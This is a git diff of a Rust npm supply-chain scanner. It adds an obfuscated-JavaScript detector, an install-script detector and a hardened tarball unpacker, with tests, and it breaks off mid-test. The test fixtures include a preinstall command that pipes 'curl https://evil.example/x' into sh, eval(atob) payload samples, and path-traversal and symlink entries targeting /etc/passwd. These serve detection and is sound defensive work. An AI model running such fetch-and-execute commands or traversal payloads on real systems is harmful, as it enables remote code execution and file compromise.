+} + +fn is_base64_byte(byte: u8) -> bool { + byte.is_ascii_alphanumeric() || matches!(byte, b'+' | b'/' | b'=') +} + +fn is_hex_byte(byte: u8) -> bool { + byte.is_ascii_hexdigit() +} + +/// Contents of `'...'`, `"..."` and `` `...` `` literals, escapes preserved. +fn string_literals(source: &str) -> Vec<&str> { + let bytes = source.as_bytes(); + let mut literals = Vec::new(); + let mut i = 0; + while i < bytes.len() { + let quote = bytes[i]; + if !matches!(quote, b'\'' | b'"' | b'`') { + i += 1; + continue; + } + let start = i + 1; + i = start; + while i < bytes.len() { + match bytes[i] { + b'\\' => i += 2, + byte if byte == quote => break, + _ => i += 1, + } + } + if i <= bytes.len() { + literals.push(&source[start..i.min(bytes.len())]); + } + i = i.saturating_add(1); + } + literals +} + +/// Replaces comments and the contents of string/template literals with +/// spaces, preserving newlines so line numbers and code markers stay intact. +fn mask_comments_and_strings(source: &str) -> String { + let bytes = source.as_bytes(); + let mut out = vec![b' '; bytes.len()]; + let mut i = 0; + while i < bytes.len() { + match bytes[i] { + b'\n' => { + out[i] = b'\n'; + i += 1; + } + b'/' if bytes.get(i + 1) == Some(&b'/') => { + while i < bytes.len() && bytes[i] != b'\n' { + i += 1; + } + } + b'/' if bytes.get(i + 1) == Some(&b'*') => { + i += 2; + while i < bytes.len() { + if bytes[i] == b'*' && bytes.get(i + 1) == Some(&b'/') { + i += 2; + break; + } + if bytes[i] == b'\n' { + out[i] = b'\n'; + } + i += 1; + } + } + quote @ (b'\'' | b'"' | b'`') => { + i += 1; + while i < bytes.len() { + if bytes[i] == b'\\' { + i += 2; + continue; + } + if bytes[i] == quote { + i += 1; + break; + } + if bytes[i] == b'\n' { + out[i] = b'\n'; + } + i += 1; + } + } + byte => { + out[i] = byte; + i += 1; + } + } + } + String::from_utf8_lossy(&out).into_owned() +} + +/// Counts `name(` where `name` is a standalone identifier. +fn count_bare_calls(code: &str, name: &str) -> usize { + let bytes = code.as_bytes(); + let needle = name.as_bytes(); + let mut count = 0; + let mut i = 0; + while i + needle.len() <= bytes.len() { + if bytes[i..].starts_with(needle) { + let before_ok = i == 0 || !is_identifier_byte(bytes[i - 1]); + let after = i + needle.len(); + let after_ok = after < bytes.len() && !is_identifier_byte(bytes[after]); + let call = bytes[after..] + .iter() + .copied() + .find(|byte| !byte.is_ascii_whitespace()) + == Some(b'('); + if before_ok && after_ok && call { + count += 1; + i = after; + continue; + } + } + i += 1; + } + count +} + +/// Counts `new Function(` (whitespace tolerated around `Function`). +fn count_function_constructors(code: &str) -> usize { + let bytes = code.as_bytes(); + let mut count = 0; + let mut i = 0; + while i < bytes.len() { + if bytes[i..].starts_with(b"new") { + let before_ok = i == 0 || !is_identifier_byte(bytes[i - 1]); + let mut j = i + 3; + if before_ok && j < bytes.len() && bytes[j].is_ascii_whitespace() { + while j < bytes.len() && bytes[j].is_ascii_whitespace() { + j += 1; + } + if bytes[j..].starts_with(b"Function") { + let after = j + "Function".len(); + let boundary = after == bytes.len() || !is_identifier_byte(bytes[after]); + let call = bytes[after..] + .iter() + .copied() + .find(|byte| !byte.is_ascii_whitespace()) + == Some(b'('); + if boundary && call { + count += 1; + i = after; + continue; + } + } + } + } + i += 1; + } + count +} + +fn is_identifier_byte(byte: u8) -> bool { + byte.is_ascii_alphanumeric() || byte == b'_' || byte == b'$' +} + +#[cfg(test)] +mod tests { + use super::*; + + #[test] + fn entropy_matches_known_shapes() { + assert_eq!(shannon_entropy(""), 0.0); + assert_eq!(shannon_entropy("aaaa"), 0.0); + // A uniform 64-symbol alphabet carries 6 bits per byte. + let alphabet: String = ('A'..='Z') + .chain('a'..='z') + .chain('0'..='9') + .chain(['+', '/']) + .collect(); + assert!((shannon_entropy(&alphabet) - 6.0).abs() < 1e-9); + } + + #[test] + fn minified_but_benign_is_not_flagged() { + let mut source = String::from("var t=function(e){return e+1};"); + while source.len() < 6_000 { + source.push_str("var a=function(b){return b*2};"); + } + let score = score_javascript(&source); + assert_eq!(score.long_lines, 1); + assert!(score.score < OBFUSCATION_THRESHOLD, "{score:?}"); + assert!(!score.is_obfuscated()); + assert!(scan_obfuscation("bundle.min.js", &source).is_none()); + } + + #[test] + fn obfuscated_sample_is_flagged() { + let blob = + "QUJDREVGR0hJSktMTU5PUFFSU1RVVldYWVphYmNkZWZnaGlqa2xtbm9wcXJzdHV2d3h5ejAxMjM0NTY3ODk="; + let padded = blob.repeat(3); + let source = format!("const p = \"{padded}\";\nconst decoded = atob(p);\neval(decoded);\n"); + let score = score_javascript(&source); + assert!(score.base64_blobs >= 1, "{score:?}"); + assert_eq!(score.atob_calls, 1); + assert_eq!(score.eval_calls, 1); + assert!(score.is_obfuscated(), "{score:?}"); + let finding = scan_obfuscation("payload.js", &source).expect("must be flagged"); + assert_eq!(finding.file, "payload.js"); + assert_eq!(finding.severity, Severity::High); + assert!(finding.message.contains("obfuscated JavaScript")); + } + + #[test] + fn dynamic_code_signals_are_detected() { + let score = score_javascript("eval(x); new Function('return 1')(); atob(y);"); + assert_eq!(score.eval_calls, 1); + assert_eq!(score.function_constructors, 1); + assert_eq!(score.atob_calls, 1); + assert!(score.is_obfuscated()); + } + + #[test] + fn hex_blob_over_200_chars_is_flagged() { + let hex = "0123456789abcdef".repeat(14); // 224 chars, mixed digits/letters + let source = format!("var payload = \"{hex}\";"); + let score = score_javascript(&source); + assert_eq!(score.hex_blobs, 1, "{score:?}"); + assert!(score.is_obfuscated(), "{score:?}"); + } + + #[test] + fn short_encoded_strings_are_not_blobs() { + let source = "var a = \"abcdef0123456789\"; var b = atob(a);"; + let score = score_javascript(source); + assert_eq!(score.base64_blobs, 0); + assert_eq!(score.hex_blobs, 0); + assert_eq!(score.atob_calls, 1); + assert!(!score.is_obfuscated(), "{score:?}"); + } + + #[test] + fn markers_in_strings_and_comments_do_not_count() { + let source = "// eval(payload)\n/* new Function(x) */\nconst s = \"eval(x) atob(y)\";\n"; + let score = score_javascript(source); + assert_eq!(score.eval_calls, 0, "{score:?}"); + assert_eq!(score.function_constructors, 0, "{score:?}"); + assert_eq!(score.atob_calls, 0, "{score:?}"); + } + + #[test] + fn identifiers_containing_marker_names_do_not_count() { + let score = score_javascript("mediaeval(x); myeval(y); newFunction(z); myatob(q);"); + assert_eq!(score.eval_calls, 0, "{score:?}"); + assert_eq!(score.function_constructors, 0, "{score:?}"); + assert_eq!(score.atob_calls, 0, "{score:?}"); + } + + #[test] + fn long_line_alone_is_below_threshold() { + let source = format!("var x = {};", "1+".repeat(3_000)); + let score = score_javascript(&source); + assert_eq!(score.long_lines, 1); + assert_eq!(score.score, 1); + assert!(!score.is_obfuscated()); + } + + #[test] + fn scan_tree_only_reports_javascript() { + let dir = tempfile::tempdir().unwrap(); + let root = dir.path(); + std::fs::write(root.join("clean.js"), "module.exports = 1;\n").unwrap(); + std::fs::write(root.join("notes.txt"), "eval(atob('x'))\n").unwrap(); + let blob = + "QUJDREVGR0hJSktMTU5PUFFSU1RVVldYWVphYmNkZWZnaGlqa2xtbm9wcXJzdHV2d3h5ejAxMjM0NTY3ODk=" + .repeat(3); + std::fs::write( + root.join("payload.js"), + format!("const p=\"{blob}\";eval(atob(p));"), + ) + .unwrap(); + let findings = scan_tree(root).unwrap(); + assert_eq!(findings.len(), 1); + assert_eq!(findings[0].file, "payload.js"); + } +} diff --git a/src/behavioral/scripts.rs b/src/behavioral/scripts.rs new file mode 100644 index 0000000..7be542c --- /dev/null +++ b/src/behavioral/scripts.rs @@ -0,0 +1,163 @@ +//! npm install-time scripts. +//! +//! `preinstall`, `install`, `postinstall` and `prepare` run automatically +//! when a package is installed, with the installing user's privileges. They +//! are the usual delivery path for npm malware, so every one present in a +//! `package.json` is surfaced as a finding for a human to review — even +//! when the command itself looks harmless. +//! +//! Detection is purely declarative: this module parses `package.json` and +//! reads the `scripts` object. It never runs a script or invokes a shell. + +use serde_json::Value; + +use crate::cve::severity::Severity; + +use super::BehavioralFinding; + +/// Lifecycle hooks that run during install or when a git dependency is +/// prepared, in the order npm runs them. +pub const INSTALL_HOOKS: &[&str] = &["preinstall", "install", "postinstall", "prepare"]; + +/// Severity for a declared install script. An install script is not proof of +/// malice — many legitimate packages compile native code — but it is the +/// highest-risk surface in an npm package, so it warrants review. +pub const SEVERITY: Severity = Severity::Medium; + +/// One install-time hook declared by a package. +#[derive(Debug, Clone, PartialEq, Eq)] +pub struct InstallScript { + /// Hook name, one of [`INSTALL_HOOKS`]. + pub hook: String, + /// Command line exactly as declared. + pub command: String, +} + +impl InstallScript { + /// This script as a [`BehavioralFinding`] labelled with the supplied + /// package-relative file (normally `package.json`). + pub fn finding_in(&self, file: &str) -> BehavioralFinding { + BehavioralFinding { + file: file.to_string(), + line: None, + severity: SEVERITY, + message: format!("install script `{}`: {}", self.hook, self.command), + } + } + + /// This script as a finding on `package.json`. + pub fn finding(&self) -> BehavioralFinding { + self.finding_in("package.json") + } +} + +/// Returns every install-time script in `package_json`, as +/// `(hook, command)` pairs in [`INSTALL_HOOKS`] order. +/// +/// Invalid JSON, a missing `scripts` object, and non-string values are +/// ignored — this is a best-effort detector, not a package.json validator. +pub fn install_scripts(package_json: &str) -> Vec<(String, String)> { + let Ok(document) = serde_json::from_str::(package_json) else { + return Vec::new(); + }; + let Some(scripts) = document.get("scripts").and_then(Value::as_object) else { + return Vec::new(); + }; + INSTALL_HOOKS + .iter() + .filter_map(|hook| { + let command = scripts.get(*hook)?.as_str()?; + Some(((*hook).to_string(), command.to_string())) + }) + .collect() +} + +/// [`install_scripts`] with the hook and command separated. +pub fn install_script_entries(package_json: &str) -> Vec { + install_scripts(package_json) + .into_iter() + .map(|(hook, command)| InstallScript { hook, command }) + .collect() +} + +/// Wraps every install script in `package_json` as a finding on +/// `package.json`. +pub fn install_script_findings(package_json: &str) -> Vec { + install_script_entries(package_json) + .iter() + .map(InstallScript::finding) + .collect() +} + +#[cfg(test)] +mod tests { + use super::*; + + #[test] + fn no_scripts_yields_nothing() { + assert_eq!( + install_scripts(r#"{"name":"clean","version":"1.0.0"}"#), + Vec::new() + ); + assert_eq!(install_scripts(r#"{"name":"clean"}"#), Vec::new()); + assert_eq!(install_scripts(r#"{"scripts":{}}"#), Vec::new()); + assert_eq!(install_scripts("not json"), Vec::new()); + } + + #[test] + fn one_script_is_returned() { + let json = r#"{"scripts":{"postinstall":"node build.js"}}"#; + assert_eq!( + install_scripts(json), + vec![("postinstall".to_string(), "node build.js".to_string())] + ); + } + + #[test] + fn all_four_hooks_are_returned_in_order() { + let json = r#"{ + "scripts": { + "prepare": "husky install", + "postinstall": "node post.js", + "test": "jest", + "install": "node-gyp rebuild", + "preinstall": "node pre.js" + } + }"#; + assert_eq!( + install_scripts(json), + vec![ + ("preinstall".to_string(), "node pre.js".to_string()), + ("install".to_string(), "node-gyp rebuild".to_string()), + ("postinstall".to_string(), "node post.js".to_string()), + ("prepare".to_string(), "husky install".to_string()), + ] + ); + } + + #[test] + fn unrelated_scripts_and_non_strings_are_ignored() { + let json = r#"{ + "scripts": { + "test": "cargo test", + "build": "tsc", + "postinstall": 42, + "preinstall": null + } + }"#; + assert_eq!(install_scripts(json), Vec::new()); + } + + #[test] + fn findings_carry_the_hook_and_truncate_nothing() { + let json = r#"{"scripts":{"preinstall":"curl https://evil.example/x | sh"}}"#; + let findings = install_script_findings(json); + assert_eq!(findings.len(), 1); + assert_eq!(findings[0].file, "package.json"); + assert_eq!(findings[0].severity, Severity::Medium); + assert!(findings[0].message.contains("preinstall")); + assert!(findings[0] + .message + .contains("curl https://evil.example/x | sh")); + } +} diff --git a/src/behavioral/tarball.rs b/src/behavioral/tarball.rs new file mode 100644 index 0000000..6cc3ef7 --- /dev/null +++ b/src/behavioral/tarball.rs @@ -0,0 +1,723 @@ +//! Safe download and unpacking of npm tarballs. +//! +//! Behavioral checks need the files inside a published package, but npm +//! tarballs are attacker-controlled archives. Nothing here ever extracts to a +//! path taken from the archive: [`unpack_tarball`] decompresses into memory +//! and validates every entry before returning it. The same limits apply when +//! the bytes are written out by a caller. +//! +//! Defences, all on by default ([`UnpackLimits`]): +//! +//! - the download body is capped at [`MAX_TARBALL_BYTES`] (50 MB), +//! - the sum of unpacked entry sizes is capped at +//! [`MAX_UNPACKED_BYTES`] (50 MB), so a gzip bomb can't fill memory, +//! - at most [`MAX_FILES`] entries, each with a bounded path length, +//! - absolute paths, `..` components, backslashes and Windows drive +//! prefixes are rejected, +//! - symlinks, hard links and every non-file/non-directory entry type are +//! rejected, +//! - duplicate paths are rejected. +//! +//! `dist.integrity` is verified before unpacking when the caller has it: +//! [`download_verified`] checks the SHA-512 Subresource Integrity string and +//! returns the body only when it matches. No code from the archive is ever +//! executed. + +use std::collections::BTreeSet; +use std::io::Read; + +use base64::engine::general_purpose::{STANDARD, STANDARD_NO_PAD}; +use base64::Engine; +use flate2::read::GzDecoder; +use serde::Deserialize; +use sha2::{Digest, Sha512}; +use tar::EntryType; + +use crate::net::{NetError, PoliteClient}; + +/// Largest tarball body accepted from the registry. +pub const MAX_TARBALL_BYTES: u64 = 50 * 1024 * 1024; +/// Largest total of unpacked file bytes accepted. +pub const MAX_UNPACKED_BYTES: u64 = 50 * 1024 * 1024; +/// Largest number of entries accepted. +pub const MAX_FILES: usize = 10_000; +/// Longest accepted entry path, in bytes. +pub const MAX_PATH_BYTES: usize = 1024; + +/// Limits applied while unpacking. [`Default`] is the safe production set. +#[derive(Debug, Clone, Copy)] +pub struct UnpackLimits { + pub max_total_bytes: u64, + pub max_file_bytes: u64, + pub max_files: usize, + pub max_path_bytes: usize, +} + +impl Default for UnpackLimits { + fn default() -> Self { + UnpackLimits { + max_total_bytes: MAX_UNPACKED_BYTES, + max_file_bytes: MAX_UNPACKED_BYTES, + max_files: MAX_FILES, + max_path_bytes: MAX_PATH_BYTES, + } + } +} + +/// Errors from downloading, verifying or unpacking an npm tarball. +#[derive(Debug)] +pub enum TarballError { + /// The HTTP request failed or the registry returned a non-2xx status. + Http(String), + /// The body was larger than the configured limit. + TooLarge { limit: u64 }, + /// `dist.integrity` had no SHA-512 SRI digest. + MissingSha512, + /// `dist.integrity` contained a malformed digest. + InvalidIntegrity(String), + /// The downloaded bytes did not match `dist.integrity`. + IntegrityMismatch, + /// The archive had more entries than allowed. + TooManyFiles { limit: usize }, + /// One path was absolute, escaped the root, or was otherwise unsafe. + UnsafePath(String), + /// The archive contained a symlink or hard link. + Link(String), + /// The archive contained an entry type other than a regular file or dir. + UnsupportedEntry(String), + /// Two entries resolved to the same package-relative path. + DuplicatePath(String), + /// The gzip or tar stream was malformed. + Archive(String), +} + +impl std::fmt::Display for TarballError { + fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result { + match self { + TarballError::Http(err) => write!(f, "tarball download failed: {err}"), + TarballError::TooLarge { limit } => { + write!(f, "tarball exceeds the {limit}-byte limit") + } + TarballError::MissingSha512 => { + write!(f, "dist.integrity has no sha512 digest") + } + TarballError::InvalidIntegrity(value) => { + write!(f, "malformed sha512 integrity value: {value}") + } + TarballError::IntegrityMismatch => { + write!(f, "tarball does not match dist.integrity") + } + TarballError::TooManyFiles { limit } => { + write!(f, "tarball has more than {limit} entries") + } + TarballError::UnsafePath(path) => { + write!(f, "unsafe path in tarball: {path}") + } + TarballError::Link(path) => { + write!(f, "link entry rejected in tarball: {path}") + } + TarballError::UnsupportedEntry(path) => { + write!(f, "unsupported entry type in tarball: {path}") + } + TarballError::DuplicatePath(path) => { + write!(f, "duplicate path in tarball: {path}") + } + TarballError::Archive(err) => write!(f, "malformed tarball: {err}"), + } + } +} + +impl std::error::Error for TarballError {} + +impl From for TarballError { + fn from(err: NetError) -> Self { + TarballError::Http(err.to_string()) + } +} + +impl From for TarballError { + fn from(err: std::io::Error) -> Self { + TarballError::Archive(err.to_string()) + } +} + +/// One regular file unpacked from a tarball. +#[derive(Debug, Clone, PartialEq, Eq)] +pub struct PackageFile { + /// Package-relative path, `/`-separated. The npm `package/` prefix is + /// stripped when every entry has it. + pub path: String, + pub data: Vec, +} + +impl PackageFile { + /// Reads the file as UTF-8 text, if it is valid UTF-8. + pub fn text(&self) -> Option<&str> { + std::str::from_utf8(&self.data).ok() + } +} + +/// The `dist` object embedded in an npm version document. +#[derive(Debug, Clone, PartialEq, Eq, Deserialize)] +pub struct NpmDist { + /// URL of the `.tgz` for this version. + pub tarball: String, + /// Subresource Integrity string, e.g. `sha512-...`. + #[serde(default)] + pub integrity: Option, +} + +/// Downloads `dist.tarball` and verifies `dist.integrity` before returning the +/// bytes. A missing integrity value is rejected: callers that genuinely have +/// no digest should use [`download_tarball`] and verify out of band. +pub fn download_npm_dist(dist: &NpmDist) -> Result, TarballError> { + let integrity = dist + .integrity + .as_deref() + .ok_or(TarballError::MissingSha512)?; + download_verified(&dist.tarball, integrity) +} + +/// Downloads `url` through the polite client, capped at +/// [`MAX_TARBALL_BYTES`]. +pub fn download_tarball(url: &str) -> Result, TarballError> { + download_tarball_with(&PoliteClient::default(), url, MAX_TARBALL_BYTES) +} + +/// [`download_tarball`] with an explicit client and size limit. +pub fn download_tarball_with( + client: &PoliteClient, + url: &str, + max_bytes: u64, +) -> Result, TarballError> { + let response = client.get(url, true)?; + if let Some(length) = response.content_length() { + if length > max_bytes { + return Err(TarballError::TooLarge { limit: max_bytes }); + } + } + let mut body = Vec::new(); + response + .take(max_bytes.saturating_add(1)) + .read_to_end(&mut body)?; + if body.len() as u64 > max_bytes { + return Err(TarballError::TooLarge { limit: max_bytes }); + } + Ok(body) +} + +/// Downloads `url` and checks the body against an SRI `integrity` string. +pub fn download_verified(url: &str, integrity: &str) -> Result, TarballError> { + let bytes = download_tarball(url)?; + verify_integrity(&bytes, integrity)?; + Ok(bytes) +} + +/// Verifies `bytes` against the SHA-512 digests in an SRI string. +/// +/// SRI permits several space-separated tokens (`sha512-... sha256-...`); +/// only `sha512-` tokens are considered because npm publishes those. At +/// least one must match. +pub fn verify_integrity(bytes: &[u8], integrity: &str) -> Result<(), TarballError> { + let mut saw_sha512 = false; + let digest = Sha512::digest(bytes); + for token in integrity.split_whitespace() { + let Some((algorithm, encoded)) = token.split_once('-') else { + continue; + }; + if algorithm != "sha512" { + continue; + } + saw_sha512 = true; + let decoded = STANDARD + .decode(encoded) + .or_else(|_| STANDARD_NO_PAD.decode(encoded)) + .map_err(|_| TarballError::InvalidIntegrity(token.to_string()))?; + if decoded.len() != digest.len() { + return Err(TarballError::InvalidIntegrity(token.to_string())); + } + if constant_time_eq(&decoded, &digest) { + return Ok(()); + } + } + if saw_sha512 { + Err(TarballError::IntegrityMismatch) + } else { + Err(TarballError::MissingSha512) + } +} + +fn constant_time_eq(a: &[u8], b: &[u8]) -> bool { + if a.len() != b.len() { + return false; + } + a.iter().zip(b).fold(0u8, |acc, (x, y)| acc | (x ^ y)) == 0 +} + +/// Unpacks a gzipped npm tarball into memory with [`UnpackLimits::default`]. +/// +/// Returns regular files only, sorted by path. Directories are represented +/// implicitly by the paths of the files under them. +pub fn unpack_tarball(bytes: &[u8]) -> Result, TarballError> { + unpack_tarball_with_limits(bytes, &UnpackLimits::default()) +} + +/// [`unpack_tarball`] with explicit limits. +pub fn unpack_tarball_with_limits( + bytes: &[u8], + limits: &UnpackLimits, +) -> Result, TarballError> { + let decoder = GzDecoder::new(bytes); + let mut archive = tar::Archive::new(decoder); + let mut files = Vec::new(); + let mut seen = BTreeSet::new(); + let mut total: u64 = 0; + + for entry in archive.entries()? { + let entry = entry?; + + let raw_path = entry.path_bytes(); + let path = normalize_path(&raw_path, limits.max_path_bytes)?; + if path.is_empty() { + continue; + } + + let entry_type = entry.header().entry_type(); + match entry_type { + EntryType::Directory => continue, + EntryType::Regular | EntryType::Continuous => {} + EntryType::Symlink | EntryType::Link => { + return Err(TarballError::Link(path)); + } + _ => return Err(TarballError::UnsupportedEntry(path)), + } + + if files.len() >= limits.max_files { + return Err(TarballError::TooManyFiles { + limit: limits.max_files, + }); + } + + if !seen.insert(path.clone()) { + return Err(TarballError::DuplicatePath(path)); + } + + let size = entry.header().size()?; + if size > limits.max_file_bytes { + return Err(TarballError::TooLarge { + limit: limits.max_file_bytes, + }); + } + total = total.checked_add(size).ok_or(TarballError::TooLarge { + limit: limits.max_total_bytes, + })?; + if total > limits.max_total_bytes { + return Err(TarballError::TooLarge { + limit: limits.max_total_bytes, + }); + } + + let capacity = usize::try_from(size.min(64 * 1024)).unwrap_or(0); + let mut data = Vec::with_capacity(capacity); + entry + .take(size.saturating_add(1)) + .read_to_end(&mut data) + .map_err(TarballError::from)?; + if data.len() as u64 != size { + return Err(TarballError::Archive(format!( + "entry {path} is shorter than its declared {size} bytes" + ))); + } + files.push(PackageFile { path, data }); + } + + strip_package_prefix(&mut files); + files.sort_by(|a, b| a.path.cmp(&b.path)); + Ok(files) +} + +/// Validates and normalises an archive path. Returns the path with `./` +/// components removed and empty components collapsed. +fn normalize_path(raw: &[u8], max_bytes: usize) -> Result { + if raw.is_empty() { + return Ok(String::new()); + } + if raw.len() > max_bytes { + return Err(TarballError::UnsafePath( + String::from_utf8_lossy(raw).into_owned(), + )); + } + if raw.contains(&0) { + return Err(TarballError::UnsafePath("path contains NUL".to_string())); + } + let path = std::str::from_utf8(raw) + .map_err(|_| TarballError::UnsafePath(String::from_utf8_lossy(raw).into_owned()))?; + if path.starts_with('/') || path.starts_with('\\') { + return Err(TarballError::UnsafePath(path.to_string())); + } + if path.contains('\\') { + return Err(TarballError::UnsafePath(path.to_string())); + } + + let mut parts = Vec::new(); + for component in path.split('/') { + match component { + "" | "." => continue, + ".." => return Err(TarballError::UnsafePath(path.to_string())), + // A Windows drive or alternate data stream would escape a + // caller that later joins this onto a directory. + component if component.contains(':') => { + return Err(TarballError::UnsafePath(path.to_string())); + } + component => parts.push(component), + } + } + Ok(parts.join("/")) +} + +/// npm tarballs wrap everything in a single `package/` directory. Strip it +/// only when every file is under it, so an archive can't use the prefix to +/// hide a path that sits outside the package. +fn strip_package_prefix(files: &mut Vec) { + if files.is_empty() { + return; + } + let prefixed = files + .iter() + .all(|file| file.path == "package" || file.path.starts_with("package/")); + if !prefixed { + return; + } + for file in files.iter_mut() { + if let Some(rest) = file.path.strip_prefix("package/") { + file.path = rest.to_string(); + } + } + files.retain(|file| !file.path.is_empty() && file.path != "package"); +} + +#[cfg(test)] +mod tests { + use super::*; + use flate2::write::GzEncoder; + use flate2::Compression; + use tar::{Builder, Header}; + + fn tar_gz(entries: &[(&str, &[u8])]) -> Vec { + let mut encoder = GzEncoder::new(Vec::new(), Compression::default()); + { + let mut builder = Builder::new(&mut encoder); + for (path, data) in entries { + let mut header = Header::new_gnu(); + header.set_size(data.len() as u64); + header.set_mode(0o644); + header.set_entry_type(EntryType::Regular); + header.set_cksum(); + let mut bytes = path.as_bytes().to_vec(); + if bytes.len() <= 100 { + bytes.resize(100, 0); + header.as_old_mut().name.copy_from_slice(&bytes); + header.set_cksum(); + builder.append(&header, *data).unwrap(); + } else { + builder.append_data(&mut header, path, *data).unwrap(); + } + } + builder.finish().unwrap(); + } + encoder.finish().unwrap() + } + + fn append_raw( + builder: &mut Builder<&mut GzEncoder>>, + path: &str, + entry_type: EntryType, + size: u64, + link: Option<&str>, + ) { + let mut header = Header::new_gnu(); + header.set_size(size); + header.set_mode(0o644); + header.set_entry_type(entry_type); + if let Some(link) = link { + header.set_link_name(link).unwrap(); + } + let mut name = path.as_bytes().to_vec(); + name.resize(100, 0); + header.as_old_mut().name.copy_from_slice(&name); + header.set_cksum(); + builder.append(&header, std::io::empty()).unwrap(); + } + + fn tar_gz_with(f: impl FnOnce(&mut Builder<&mut GzEncoder>>)) -> Vec { + let mut encoder = GzEncoder::new(Vec::new(), Compression::default()); + { + let mut builder = Builder::new(&mut encoder); + f(&mut builder); + builder.finish().unwrap(); + } + encoder.finish().unwrap() + } + + fn sha512_sri(bytes: &[u8]) -> String { + format!("sha512-{}", STANDARD.encode(Sha512::digest(bytes))) + } + + #[test] + fn unpack_returns_files_and_strips_the_package_prefix() { + let archive = tar_gz(&[ + ("package/package.json", br#"{"name":"demo"}"#), + ("package/index.js", b"module.exports = 1;\n"), + ]); + let files = unpack_tarball(&archive).unwrap(); + assert_eq!( + files.iter().map(|f| f.path.as_str()).collect::>(), + vec!["index.js", "package.json"] + ); + assert_eq!(files[0].text(), Some("module.exports = 1;\n")); + } + + #[test] + fn path_traversal_is_rejected() { + let archive = tar_gz(&[("package/../../etc/passwd", b"owned")]); + assert!(matches!( + unpack_tarball(&archive), + Err(TarballError::UnsafePath(path)) if path.contains("..") + )); + } + + #[test] + fn absolute_paths_are_rejected() { + let archive = tar_gz(&[("/etc/passwd", b"owned")]); + assert!(matches!( + unpack_tarball(&archive), + Err(TarballError::UnsafePath(_)) + )); + } + + #[test] + fn backslash_and_drive_paths_are_rejected() { + for path in ["package\\..\\evil", "C:/Windows/evil"] { + let archive = tar_gz(&[(path, b"owned")]); + assert!( + matches!(unpack_tarball(&archive), Err(TarballError::UnsafePath(_))), + "{path} was accepted" + ); + } + } + + #[test] + fn symlinks_and_hard_links_are_rejected() { + let symlink = tar_gz_with(|builder| { + append_raw( + builder, + "package/evil", + EntryType::Symlink, + 0, + Some("/etc/passwd"), + ); + }); + assert!(matches!( + unpack_tarball(&symlink), + Err(TarballError::Link(_)) + )); + + let hardlink = tar_gz_with(|builder| { + append_raw( + builder, + "package/evil", + EntryType::Link, + 0, + Some("package/index.js"), + ); + }); + assert!(matches!( + unpack_tarball(&hardlink), + Err(TarballError::Link(_)) + )); + } + + #[test] + fn size_bombs_are_rejected_before_data_is_read() { + let limits = UnpackLimits { + max_total_bytes: 128, + max_file_bytes: 128, + ..UnpackLimits::default() + }; + let archive = tar_gz_with(|builder| { + append_raw(builder, "package/big", EntryType::Regular, 1024, None); + }); + assert!(matches!( + unpack_tarball_with_limits(&archive, &limits), + Err(TarballError::TooLarge { limit: 128 }) + )); + } + + #[test] + fn total_unpacked_size_is_capped_across_entries() { + let limits = UnpackLimits { + max_total_bytes: 10, + max_file_bytes: 10, + ..UnpackLimits::default() + }; + let archive = tar_gz(&[("package/a", b"123456"), ("package/b", b"123456")]); + assert!(matches!( + unpack_tarball_with_limits(&archive, &limits), + Err(TarballError::TooLarge { limit: 10 }) + )); + } + + #[test] + fn file_count_is_capped() { + let limits = UnpackLimits { + max_files: 2, + ..UnpackLimits::default() + }; + let archive = tar_gz(&[ + ("package/a", b"a"), + ("package/b", b"b"), + ("package/c", b"c"), + ]); + assert!(matches!( + unpack_tarball_with_limits(&archive, &limits), + Err(TarballError::TooManyFiles { limit: 2 }) + )); + } + + #[test] + fn duplicate_paths_are_rejected() { + let archive = tar_gz(&[("package/a", b"a"), ("package/a", b"b")]); + assert!(matches!( + unpack_tarball(&archive), + Err(TarballError::DuplicatePath(_)) + )); + } + + #[test] + fn non_utf8_and_overlong_paths_are_rejected() { + let mut raw = b"package/".to_vec(); + raw.extend_from_slice(&[0xff, 0xfe]); + let archive = tar_gz_with(|builder| { + let mut header = Header::new_gnu(); + header.set_size(1); + header.set_mode(0o644); + header.set_entry_type(EntryType::Regular); + let mut name = raw.clone(); + name.resize(100, 0); + header.as_old_mut().name.copy_from_slice(&name); + header.set_cksum(); + builder.append(&header, &b"x"[..]).unwrap(); + }); + assert!(matches!( + unpack_tarball(&archive), + Err(TarballError::UnsafePath(_)) + )); + + let long = format!("package/{}", "a".repeat(MAX_PATH_BYTES)); + let archive = tar_gz(&[(&long, b"x")]); + assert!(matches!( + unpack_tarball(&archive), + Err(TarballError::UnsafePath(_)) + )); + } + + #[test] + fn verifies_a_sha512_sri_digest() { + let bytes = b"the tarball body"; + let sri = sha512_sri(bytes); + assert!(verify_integrity(bytes, &sri).is_ok()); + assert!(matches!( + verify_integrity(b"tampered", &sri), + Err(TarballError::IntegrityMismatch) + )); + } + + #[test] + fn accepts_sha512_among_several_sri_tokens() { + let bytes = b"body"; + let sri = format!("sha256-deadbeef {}", sha512_sri(bytes)); + assert!(verify_integrity(bytes, &sri).is_ok()); + } + + #[test] + fn rejects_missing_or_malformed_sha512() { + assert!(matches!( + verify_integrity(b"body", "sha256-deadbeef"), + Err(TarballError::MissingSha512) + )); + assert!(matches!( + verify_integrity(b"body", "sha512-not!base64"), + Err(TarballError::InvalidIntegrity(_)) + )); + assert!(matches!( + verify_integrity(b"body", ""), + Err(TarballError::MissingSha512) + )); + } + + #[test] + fn download_is_capped_and_verified() { + let mut server = mockito::Server::new(); + let body = tar_gz(&[("package/index.js", b"ok")]); + let mock = server + .mock("GET", "/demo.tgz") + .with_body(body.clone()) + .expect(2) + .create(); + let client = PoliteClient::new( + std::time::Duration::from_millis(1), + "DepRadar test agent", + std::time::Duration::from_secs(5), + ) + .unwrap(); + let url = format!("{}/demo.tgz", server.url()); + let downloaded = download_tarball_with(&client, &url, 1024).unwrap(); + assert_eq!(downloaded, body); + verify_integrity(&downloaded, &sha512_sri(&body)).unwrap(); + + assert!(matches!( + download_tarball_with(&client, &url, 4), + Err(TarballError::TooLarge { limit: 4 }) + )); + mock.assert(); + } + + #[test] + fn npm_dist_requires_integrity() { + let mut server = mockito::Server::new(); + let body = tar_gz(&[("package/index.js", b"ok")]); + let mock = server + .mock("GET", "/demo.tgz") + .with_body(body.clone()) + .create(); + let dist = NpmDist { + tarball: format!("{}/demo.tgz", server.url()), + integrity: Some(sha512_sri(&body)), + }; + assert_eq!(download_npm_dist(&dist).unwrap(), body); + mock.assert(); + + let no_integrity = NpmDist { + tarball: dist.tarball, + integrity: None, + }; + assert!(matches!( + download_npm_dist(&no_integrity), + Err(TarballError::MissingSha512) + )); + } + + #[test] + fn corrupt_gzip_is_an_error_not_a_panic() { + assert!(matches!( + 